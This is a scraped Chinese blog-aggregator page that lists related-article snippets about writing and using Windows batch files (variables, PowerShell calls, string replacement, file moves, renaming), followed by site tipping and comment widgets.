今天花了大半天时间完成了一个自动化业务:文件的自动重命名。 本程序启动前,Windows批处理将提取工作文件夹下的所有source文件,并将文件名保存在Source_File_List.xls中。 然后,Windows批处理程序将启动本程序所在的工作簿。启动后执行以下操作: 1. 将Source_File_List.xls中的文件名复制到A列 2. 将公式模板行中的公式自动填充到所有行 3. 筛...

预见未来to50的专栏 1233

文档:亲测可用解决vnc灰屏,黑屏,鼠标大黑叉情况

主要解决vnc-viewer灰屏,黑屏,鼠标大黑叉等现象,详细见文档。

在批处理文件中定义和使用变量

I'm trying to define and use a variable in a batch file. 我正在尝试在批处理文件中定义和使用变量。 It looks like it shou

w36680130的博客 3032

jre9下载 jdk9

(Java SE Runtime Environment 9.0) 9.0u175 官方最新版 【x86|x64】

C# WinForm 基于DirectShow.dll编写的程序,可边预览边保存视频,音频和图片

基于微软的DirectShow.dll的二次开发1.自动识别连接的摄像头跟麦克风且可以对其进行选择(默认选中第一个)2.可录制wmv和avi两种格式的视频并且都带有音频,avi可以录制的分辨率和帧数进行选择,wmv默认进行了淸晰度优化如不喜欢可去除代码中有相关提示3.可在预览点开之后进行拍照,也可边录制视频边拍照4.添加了视频和音频的压缩功能(酌情使用)这次二次开发发现C#对DirectShow的相关信息太少,这次做完也不敢藏私共享出来,还望大家指正

使用批处理文件(batch file)执行powershell命令文件

for /f "tokens=*" %%a in ('powershell Get-ExecutionPolicy') do (set originPolicy=%%a)通过for循环查找功能来将 powershell 命令的值赋给 batch file 变量@echooffsetdir=%CD%setscriptPath=%dir%\example.ps1for/f"tokens=*"...

weixin_30419799的博客 1096

Bash Shell 到 Batch 文件转换器使用教程

Bash Shell 到 Batch 文件转换器使用教程 1. 项目介绍 bash-shell-to-bat-converter 是一个开源项目,旨在将 Bash Shell 脚本(.sh 文件)转换为 Windows Batch 文件(.bat 文件)。这个工具并不是一个完全完整或正确的转换工具,而是一个在转换脚本时的起点。对于简单的脚本,它可能会生成正确的结果。 项目地址:https://gi...

gitblog_00461的博客 1527

使用批处理文件(batch file)替换字符串

@echo on 是否输出命令行 若为off 则仅输出命令行中的输出显示%CD% 可获取当前文件所在的路径,其中CD实为 命令行 命令delims= 按指定字符查找每行,分隔成对应列的字符串并给每行加行号tokens=* 按指定值取对应列,* 为取全部字符串for /f "delims=" %%a in ('findstr /n .* %ofile%') do 循环变量文件中...

weixin_30835649的博客 660

bat文件(cmd命令批处理)的编写使用

首先,批处理文件是一个文本文件,这个文件的每一行都是一条DOS命令(大部分时候就好象我们在DOS提示符下执行的命令行一样),你可以使用DOS下的Edit或者Windows的记事本(notepad)等任何文本文件编辑工具创建和修改批处理文件。    其次,批处理文件是一种简单的程序,可以通过条件语句(if)和流程控制语句(goto)来控制命令运行的流程,在批处理中也可以使用循环语句(for)来循

哇哇哇js 3万+

protobuf的下载、使用、自定义批处理文件

我们需要运行protogen工具来生成 C# 文件,可以自己创建一个批处理文件来自动化这个过程。打开记事本或其他文本编辑器。@echo offpause将文件保存为自定义命名.bat。双击运行该批处理文件,或者在命令行中运行它。【注意】请注意目录关系。例子中该批处理文件与PBLogin.proto放在同一文件夹下,输出的cs文件也将存放于该文件夹下。

m0_53853844的博客 697

批处理文件的编写及使用

首先,批处理文件是一个文本文件,这个文件的每一行都是一条DOS命令(大部分时候就好象我们在DOS提示符下执行的命令行一样),你可以使用DOS下的Edit或者Windows的记事本(notepad)等任何文本文件编辑工具创建和修改批处理文件。 其次,批处理文件是一种简单的程序,可以通过条件语句(if)和流程控制语句(goto)来控制命令运行的流程,在批处理中也可以使用循环语句(for)来循环执行一条

lee576的专栏 1675

Batch文件中的文件移动指南:使用move命令的深度解析

通过本文的学习,读者应该对如何在Batch文件中使用move命令有了深入的理解。move命令是一个功能强大且灵活的工具,可以大大提高文件管理的效率。掌握其用法,可以帮助用户在自动化脚本中实现复杂的文件操作。本文详细介绍了move命令的基本语法、移动单个和多个文件的方法、覆盖现有文件的选项、移动目录、重命名文件或目录、使用变量、检查操作结果、处理文件属性、移动网络位置的文件、错误处理、批处理中的注释、循环移动文件以及使用move命令的注意事项。

2402_85762143的博客 4453

.Bat批处理文件命令使用教程

批处理的简介 扩展名是bat(在nt/2000/xp/2003下也可以是cmd)的文件就是批处理文件。 首先,批处理文件是一个文本文件,这个文件的每一行都是一条DOS命令(大部分时候就好象我们在DOS提示符下执行的命令行一样),你可以使用DOS下的Edit或者Windows的记事本(notepad)等任何文本文件编辑工具创建和修改批处理文件。 其次,批处理文件是一种简单的程

ﺴ۩๑一棵树的程序历程๑۩ﺴ 1808
上一篇: 批处理学习笔记框架一
下一篇: BAT的实例应用
ydstudio
博客等级 码龄20年 0粉丝 32原创
评论
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付:10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值